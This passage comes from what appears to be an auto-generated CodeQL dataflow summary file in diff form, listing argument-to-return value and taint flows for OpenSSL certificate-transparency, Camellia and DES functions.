"CTLOG_new", "(EVP_PKEY *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*public_key]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new", "(EVP_PKEY *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*public_key]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64", "(CTLOG **,const char *,const char *)", "", "Argument[*2]", "Argument[**0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64", "(CTLOG **,const char *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64", "(CTLOG **,const char *,const char *)", "", "Argument[2]", "Argument[**0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_cert", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[**cert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_cert", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_issuer", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_issuer", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_log_store", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[**log_store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_log_store", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*log_store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get_time", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*epoch_time_in_ms]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set1_cert", "(CT_POLICY_EVAL_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set1_issuer", "(CT_POLICY_EVAL_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE", "(CT_POLICY_EVAL_CTX *,CTLOG_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**log_store]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE", "(CT_POLICY_EVAL_CTX *,CTLOG_STORE *)", "", "Argument[1]", "Argument[*0].Field[*log_store]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set_time", "(CT_POLICY_EVAL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*epoch_time_in_ms]", "value", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ctr128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_cksum", "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_cksum", "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)", "", "Argument[*4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_cksum", "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_cksum", "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_cksum", "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_check_key_parity", "(const_DES_cblock *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_check_key_parity", "(const_DES_cblock *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_crypt", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DES_crypt", "(const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DES_decrypt3", "(DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[*7]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[7]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*7]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_cfb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)", "", "Argument[7]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[*7]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[7]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ede3_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "DES_encrypt3", "(DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "DES_fcrypt", "(const char *,const char *,char *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "DES_fcrypt", "(const char *,const char *,char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DES_fcrypt", "(const char *,const char *,char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DES_fcrypt", "(const char *,const char *,char *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "DES_fcrypt", "(const char *,const char *,char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DES_fcrypt", "(const char *,const char *,char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DES_ncbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ncbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ncbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ncbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ncbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ncbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[1]", "Argument[*1]", "taint", 